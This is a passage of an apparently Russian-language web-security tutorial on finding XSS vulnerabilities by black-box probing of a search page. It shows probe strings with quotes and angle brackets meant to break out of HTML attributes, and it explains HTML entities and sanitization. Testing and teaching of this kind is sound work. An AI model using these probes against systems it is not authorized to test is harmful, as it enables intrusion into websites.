\u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432\u043e \u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435, \u0437\u0430\u043b\u0438\u0432\u0430\u0435\u043c \u0435\u043c\u0443 \u043d\u0430\u0448\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u0447\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438. \u0414\u0430\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0438\u0445 \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u0438 \u0441 \u044d\u0442\u0438\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0435\u043c\u0443 \u043d\u0430\u0434\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c. \u041d\u0443\u0436\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043d\u0430 \u0435\u0433\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435, \u0432 \u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u0438 \u043c\u043d\u043e\u0433\u043e \u0433\u0434\u0435 \u0435\u0449\u0435. \u0414\u0430\u043b\u044c\u0448\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0435\u043c\u0443 \u043e\u0431\u0440\u0430\u0442\u043d\u043e. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/0y\/nt\/tq\/0ynttqeh5azxai4f0tkrvxpccpw.png\" data-src=\"https:\/\/habrastorage.org\/webt\/0y\/nt\/tq\/0ynttqeh5azxai4f0tkrvxpccpw.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0435 \u043f\u043e\u0434\u0443\u043c\u0430\u043b, \u0447\u0442\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0441\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0430 \u0435\u0449\u0435 \u0438 HTML-\u0442\u0435\u0433\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 HTML-\u0448\u0430\u0431\u043b\u043e\u043d. \u0411\u0440\u0430\u0443\u0437\u0435\u0440\u0443 \u043f\u043e\u0444\u0438\u0433, \u043e\u043d \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442 \u0432\u0441\u0435, \u0447\u0442\u043e \u0435\u043c\u0443 \u0441\u043a\u0430\u0437\u0430\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u0441\u044f \u0438 \u0441\u0442\u0440\u043e\u043a\u0430.<\/p>\n<p>  <\/p>\n<p>\u041e\u043d\u043e \u043c\u043e\u0433\u043b\u043e \u0431\u044b \u0432\u044b\u0441\u0442\u0440\u0435\u043b\u0438\u0442\u044c \u0433\u0434\u0435-\u043d\u0438\u0431\u0443\u0434\u044c \u0437\u0434\u0435\u0441\u044c:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/bo\/zu\/ba\/bozubab9h5ptgl3xxl8y7rnkqas.png\" data-src=\"https:\/\/habrastorage.org\/webt\/bo\/zu\/ba\/bozubab9h5ptgl3xxl8y7rnkqas.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u0432\u043e \u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435 \u0442\u0430\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0442. \u041d\u043e, \u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u043b\u044e\u0431\u043e\u0439 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430 \u043d\u0435\u0435 \u0437\u0430\u0439\u0442\u0438, \u0442\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u0430 \u0431\u044b \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. <\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u044b, \u043a\u0430\u043a \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0449\u0443\u0442 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0434\u0435\u043b\u0430\u0435\u043c \u044d\u0442\u043e \u0431\u043b\u044d\u043a\u0431\u043e\u043a\u0441\u043e\u043c. \u041c\u044b \u043d\u0435 \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u043a\u0430\u043a\u0430\u044f \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u0434\u0435\u043b\u0430\u0435\u0442 \u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0447\u0442\u043e-\u0442\u043e \u0441 \u044d\u0442\u0438\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438. \u0412\u0441\u0451, \u0447\u0442\u043e \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c, \u2014 \u044d\u0442\u043e \u043f\u043e\u043b\u0435, \u043a\u0443\u0434\u0430 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0447\u0442\u043e-\u0442\u043e \u0432\u0432\u0435\u0441\u0442\u0438, \u0438 \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u043a\u0443\u0434\u0430 \u044d\u0442\u043e \u043f\u043e\u0442\u043e\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f. <\/p>\n<p>  <\/p>\n<p>\u041c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 XSS, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u044f \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u0430\u043c \u043f\u043e\u043a\u0430\u0436\u0443, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0430 \u043a\u0430\u043a \u0440\u0430\u0437 \u043d\u0430 \u0442\u043e\u043c, \u0447\u0442\u043e \u043c\u044b \u043d\u0435 \u0437\u043d\u0430\u0435\u043c, \u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. <\/p>\n<p>  <\/p>\n<h2>XSS-\u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f<\/h2>\n<p>  <\/p>\n<ol>\n<li>\n<p>\u041f\u043e\u043c\u0435\u0449\u0430\u0435\u043c \u043f\u0435\u0439\u043b\u043e\u0430\u0434 (\u043f\u0440\u043e\u0432\u0435\u0440\u043e\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443, \u043f\u0440\u0438\u0437\u0432\u0430\u043d\u043d\u0443\u044e \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438) \u0432\u043e \u0432\u0441\u0435 \u043f\u043e\u043b\u044f \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b.<\/p>\n<p>  <\/li>\n<li>\n<p>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0432 DOM \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u0438. <\/p>\n<p>  <\/li>\n<li>\n<p>\u0420\u0430\u043d\u043e \u0438\u043b\u0438 \u043f\u043e\u0437\u0434\u043d\u043e \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f alert.<\/p>\n<p>  <\/li>\n<li>\n<p>\u0420\u0430\u0441\u043a\u0440\u0443\u0447\u0438\u0432\u0430\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435 \u0438\u043b\u0438 \u0440\u0435\u043f\u043e\u0440\u0442\u0438\u043c, \u043a\u0430\u043a \u0435\u0441\u0442\u044c.<\/p>\n<p>  <\/li>\n<\/ol>\n<p>  <\/p>\n<p>\u0415\u0449\u0435 \u043e\u0434\u0438\u043d \u043f\u0440\u0438\u043c\u0435\u0440 \u2014 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u043e\u0438\u0441\u043a\u0430. \u0412 \u043f\u043e\u043b\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0432\u0435\u0441\u0442\u0438 \u00abqweqwe\u00bb. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/rc\/u1\/kc\/rcu1kch-eohvjaohjkrtklqgeae.png\" data-src=\"https:\/\/habrastorage.org\/webt\/rc\/u1\/kc\/rcu1kch-eohvjaohjkrtklqgeae.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0438\u0449\u0435\u043c \u044d\u0442\u043e \u0432 DOM:<\/p>\n<p>  <\/p>\n<p>F12 -> Ctrl +F -> \u201cqweqwe\u201d<\/p>\n<p>  <\/p>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0430 \u00abqweqwe\u00bb \u043f\u043e\u043f\u0430\u043b\u0430 \u0438\u0437 \u043f\u043e\u043b\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u043e\u0432 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 query. \u0418 \u043e\u043d\u0430 \u043f\u043e\u043f\u0430\u043b\u0430 \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 17 \u0440\u0430\u0437. \u0422\u043e \u0435\u0441\u0442\u044c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c 17 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u043f\u043e\u0434\u0443\u043c\u0430\u0442\u044c \u043e \u0432\u044b\u0432\u043e\u0434\u0435 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/fh\/p1\/zg\/fhp1zgguk_9mxs5g4licocl0hlm.png\" data-src=\"https:\/\/habrastorage.org\/webt\/fh\/p1\/zg\/fhp1zgguk_9mxs5g4licocl0hlm.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u00abqweqwe\u00bb \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u044f\u0432\u0438\u0442\u044c XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043c\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0442\u0443\u0434\u0430 \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u044b:<\/p>\n<p>  <\/p>\n<p>Input: qweqwe <strong>&#8216; &#187; > &lt;<\/strong><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0432\u044b\u0432\u0435\u0434\u0435\u0442\u0441\u044f \u0432 DOM:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/j9\/2o\/av\/j92oav9yss9vortkkvhqw0x5mdk.png\" data-src=\"https:\/\/habrastorage.org\/webt\/j9\/2o\/av\/j92oav9yss9vortkkvhqw0x5mdk.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u044b \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0438\u0441\u044c \u0432 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u0443\u0441\u043e\u043a \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u042d\u0442\u043e \u0443\u0436\u0435 \u0441\u0438\u0433\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044f, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0435\u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u0430\u044f. <\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0432 \u0434\u0435\u0432\u044f\u0442\u043e\u043c \u043c\u0435\u0441\u0442\u0435, \u0433\u0434\u0435 \u043d\u0430\u0448\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 DOM, \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u044b \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043d\u0435 \u043f\u0435\u0440\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c, \u0442\u043e \u0435\u0441\u0442\u044c \u043e\u043d\u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0437\u0434\u0435\u0441\u044c \u043a\u0430\u043a \u0435\u0441\u0442\u044c.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ol\/4b\/x3\/ol4bx3mxuj_bqzoy4ww1kfnom3c.png\" data-src=\"https:\/\/habrastorage.org\/webt\/ol\/4b\/x3\/ol4bx3mxuj_bqzoy4ww1kfnom3c.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043a\u0430\u043a HTML, \u0442\u043e \u0443\u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0434\u0432\u043e\u0439\u043d\u0430\u044f \u043a\u0430\u0432\u044b\u0447\u043a\u0430 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0430\u0441\u044c \u0432 <code>&amp;quot<\/code>.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/9b\/h4\/d3\/9bh4d3lrcqqadkjvi92ipicniuu.png\" data-src=\"https:\/\/habrastorage.org\/webt\/9b\/h4\/d3\/9bh4d3lrcqqadkjvi92ipicniuu.png\"\/><\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/df\/kr\/ip\/dfkripm4hezkis8ahs3bu9ijhsg.png\" data-src=\"https:\/\/habrastorage.org\/webt\/df\/kr\/ip\/dfkripm4hezkis8ahs3bu9ijhsg.png\"\/><\/p>\n<p>  <\/p>\n<p>\u042d\u0442\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f <strong>HTML entities<\/strong>. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c \u044d\u0442\u043e\u0439 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0440\u0438\u0441\u0443\u0435\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435, \u043d\u043e HTML-\u0442\u0435\u0433\u0438, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u043d\u0435 \u0440\u0435\u043d\u0434\u0435\u0440\u044f\u0442\u0441\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c \u043a\u0430\u043a \u043a\u043e\u0434:<\/p>\n<p>  <\/p>\n<pre><code class=\"plaintext\">\u2018 \u2014 &amp;apos; \u201c \u2014 &amp;quot; > \u2014 &amp;gt; &lt; \u2014 &amp;lt; &amp; \u2014 &amp;amp<\/code><\/pre>\n<p>  <\/p>\n<p>\u042d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043e\u0442 \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/-p\/n7\/hr\/-pn7hrfnkxg3iu7urvvl5ymd4na.png\" data-src=\"https:\/\/habrastorage.org\/webt\/-p\/n7\/hr\/-pn7hrfnkxg3iu7urvvl5ymd4na.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u043b\u0435\u0432\u0430 \u0443 \u043d\u0430\u0441 HTML-\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u043e\u0442\u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u044c \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u043d\u043e \u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u043a\u0430\u043a \u0441\u0442\u0440\u043e\u043a\u0443.<\/p>\n<p>  <\/p>\n<p><strong>\u0421\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044f<\/strong> \u2014 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 HTML entities \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0443.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/jb\/5r\/lf\/jb5rlft8rtg49wzy9fhqsynnyny.png\" data-src=\"https:\/\/habrastorage.org\/webt\/jb\/5r\/lf\/jb5rlft8rtg49wzy9fhqsynnyny.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0414\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043d\u0430\u0431\u043e\u0440 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u041c\u044b \u0445\u043e\u0442\u0438\u043c \u0438\u0445 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0432 HTML entities, \u0447\u0442\u043e\u0431\u044b \u043e\u043d\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u043d\u0430\u0448 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0431\u044b\u043b\u043e \u043f\u0440\u043e\u0442\u043e\u043b\u043a\u043d\u0443\u0442\u044c \u0447\u0443\u0436\u043e\u0439 JS.<\/p>\n<p>  <\/p>\n<p>\u0412\u0435\u0440\u043d\u0435\u043c\u0441\u044f \u043a \u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u043c\u0435\u0440\u0443. \u0414\u0432\u043e\u0439\u043d\u0430\u044f \u043a\u0430\u0432\u044b\u0447\u043a\u0430 \u0437\u0430\u0438\u043d\u043a\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0432 &amp;quot, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u0435\u0441\u0442\u044c. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/8b\/6p\/_k\/8b6p_kbbqt-pwpvcxav3tredu-g.png\" data-src=\"https:\/\/habrastorage.org\/webt\/8b\/6p\/_k\/8b6p_kbbqt-pwpvcxav3tredu-g.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0410 \u0435\u0441\u043b\u0438 \u0431\u044b \u043d\u0435 \u0431\u044b\u043b\u043e? \u041c\u044b \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0432\u0435\u0441\u0442\u0438 \u2018 \u201c test, \u0438 \u043f\u043e\u0438\u0449\u0435\u043c \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0435 \u00abqweqwe\u00bb:<\/p>\n<p>  <\/p>\n<p>Input: qweqwe <strong>&#8216; &#187; test<\/strong><\/p>\n<p>  <\/p>\n<p>F12 -> Ctrl +F -> \u201cqweqwe\u201d<\/p>\n<p>  <\/p>\n<p>\u0427\u0442\u043e \u043c\u044b \u0443\u0432\u0438\u0434\u0438\u043c? <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/zc\/te\/et\/zcteet2qcqpiqzc2zejzmptjyv0.png\" data-src=\"https:\/\/habrastorage.org\/webt\/zc\/te\/et\/zcteet2qcqpiqzc2zejzmptjyv0.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041c\u044b \u0443\u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e test \u043d\u0430\u0447\u0430\u043b \u043f\u043e\u0434\u0441\u0432\u0435\u0447\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u043e\u0440\u0438\u0447\u043d\u0435\u0432\u044b\u043c. \u0411\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442 \u043d\u0430\u043c: \u043e\u043d\u0438 \u043f\u043e\u0434\u0441\u0432\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u0432 \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0442\u0435\u0433\u043e\u0432 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0446\u0432\u0435\u0442\u0430\u043c\u0438. \u0410\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u043a\u043e\u0440\u0438\u0447\u043d\u0435\u0432\u044b\u0435, \u0438\u043c\u0435\u043d\u0430 \u0442\u0435\u0433\u043e\u0432 \u2014 \u0440\u043e\u0437\u043e\u0432\u044b\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u2014 \u0441\u0438\u043d\u0438\u0435. <\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u0431\u044b \u0432\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u0438\u043d\u044f\u044f, \u043c\u044b \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d\u0430 \u043f\u043e\u043f\u0430\u043b\u0430 \u0432\u043d\u0443\u0442\u0440\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430, \u0438 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434, 